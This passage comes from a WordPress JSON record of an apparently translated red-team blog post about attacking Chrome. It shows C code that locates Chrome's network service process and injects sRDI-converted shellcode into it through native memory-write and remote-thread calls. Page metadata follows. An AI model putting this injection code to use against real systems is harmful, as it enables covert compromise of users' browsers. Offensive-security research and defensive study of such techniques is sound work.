FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tif (NtReadVirtualMemory(hProcess, lpwBuffer, lpwBufferLocal, len, NULL) != STATUS_SUCCESS)\n\t{\n\t\tbStatus = FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tif (MSVCRT$wcsstr(lpwBufferLocal, L\"--utility-sub-type=network.mojom.NetworkService\") != NULL)\n\t{\n\t\tbStatus = TRUE;\n\t}\n\n\tgoto Cleanup;\n\nCleanup:\n\tif (hProcess) { KERNEL32$CloseHandle(hProcess); }\n\n\treturn bStatus;\n}\n<\/code><\/pre>\n\n\n\n<p>\u627e\u5230\u7f51\u7edc\u8fdb\u7a0b\u540e\uff0c\u5b83\u5c06\u4f7f\u7528\u4ee5\u4e0b\u4ee3\u7801\u5c06 DLL \u6ce8\u5165\u8be5\u8fdb\u7a0b\uff0c\u8be5 DLL \u73b0\u5728\u5df2\u901a\u8fc7 sRDI \u8f6c\u6362\u4e3a\u4e0e\u4f4d\u7f6e\u65e0\u5173\u7684 shellcode\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BOOL InjectShellcode(DWORD dwChromePid, DWORD dwShcLen, LPVOID lpShcBuf)\n{\n\tULONG ulPerms;\n\tLPVOID lpBuffer = NULL;\n\tHANDLE hProcess, hThread;\n\tSIZE_T stSize = (SIZE_T)dwShcLen;\n\n\tif ((hProcess = OpenProcessHandle(PROCESS_ALL_ACCESS, dwChromePid)) == INVALID_HANDLE_VALUE)\n\t{\n\t\treturn FALSE;\n\t}\n\n\tNtAllocateVirtualMemory(hProcess, &amp;lpBuffer, 0, &amp;stSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);\n\tif (lpBuffer == NULL)\n\t{\n\t\treturn FALSE;\n\t}\n\n\tif (NtWriteVirtualMemory(hProcess, lpBuffer, lpShcBuf, dwShcLen, NULL) != STATUS_SUCCESS)\n\t{\n\t\treturn FALSE;\n\t}\n\n\tif (NtProtectVirtualMemory(hProcess, &amp;lpBuffer, &amp;stSize, PAGE_EXECUTE_READ, &amp;ulPerms) != STATUS_SUCCESS)\n\t{\n\t\treturn FALSE;\n\t}\n\n\tNtCreateThreadEx(&amp;hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, 0, 0, 0, NULL);\n\tif (hThread == INVALID_HANDLE_VALUE)\n\t{\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"eof\">EOF<\/h2>\n\n\n\n<p>\u6211\u5e0c\u671b\u4f60\u53d1\u73b0\u8fd9\u7bc7\u6587\u7ae0\u5f88\u6709\u7528\uff0c\u5e76\u4e14\u4f1a\u53d1\u73b0\u5176\u4e2d\u4e00\u4e9b\u6280\u5de7\u5f88\u6709\u5e2e\u52a9\u3002\u6211\u8fd8\u8ba1\u5212\u5305\u62ec\u6709\u5173\u5982\u4f55\u5c06\u4efb\u610f JavaScript \u6ce8\u5165\u7f51\u9875\u7684\u8be6\u7ec6\u4fe1\u606f\uff0c\u4f46\u9057\u61be\u7684\u662f\uff0c\u6211\u53ea\u662f\u6ca1\u65f6\u95f4\u4e86\uff0c\u4e0d\u5f97\u4e0d\u8f6c\u5411\u5176\u4ed6\u4e8b\u60c5\uff0c\u5c3d\u7ba1\u6211\u4f1a\u8bf4\u5b8c\u5168\u6709\u53ef\u80fd\u4f7f\u7528\u8fd9\u4e9b\u6280\u672f\u7684\u7ec4\u5408\u6211\u5df2\u7ecf\u5728\u4e0a\u9762\u5217\u51fa\u4e86\u3002<\/p>\n\n\n\n<p>\u5982\u679c\u60a8\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u8bf7\u968f\u65f6\u5728 Twitter \u4e0a\u7ed9\u6211\u4e00\u4e2a DM\u3002<\/p>\n\n\n\n<p>\u8fd9\u7bc7\u535a\u6587\u7531 Dylan (&nbsp;<a href=\"https:\/\/twitter.com\/_batsec_\">@_batsec_<\/a>&nbsp;) \u64b0\u5199\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/www.mdsec.co.uk\/2021\/01\/breaking-the-brows [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[43,17],"tags":[],"class_list":["post-22","post","type-post","status-publish","format-standard","hentry","category-infoarticle","category-infonews"],"views":3321,"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/22","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22"}],"version-history":[{"count":1,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/22\/revisions"}],"predecessor-version":[{"id":23,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=\/wp\/v2\/posts\/22\/revisions\/23"}],"wp:attachment":[{"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aqwu.net\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}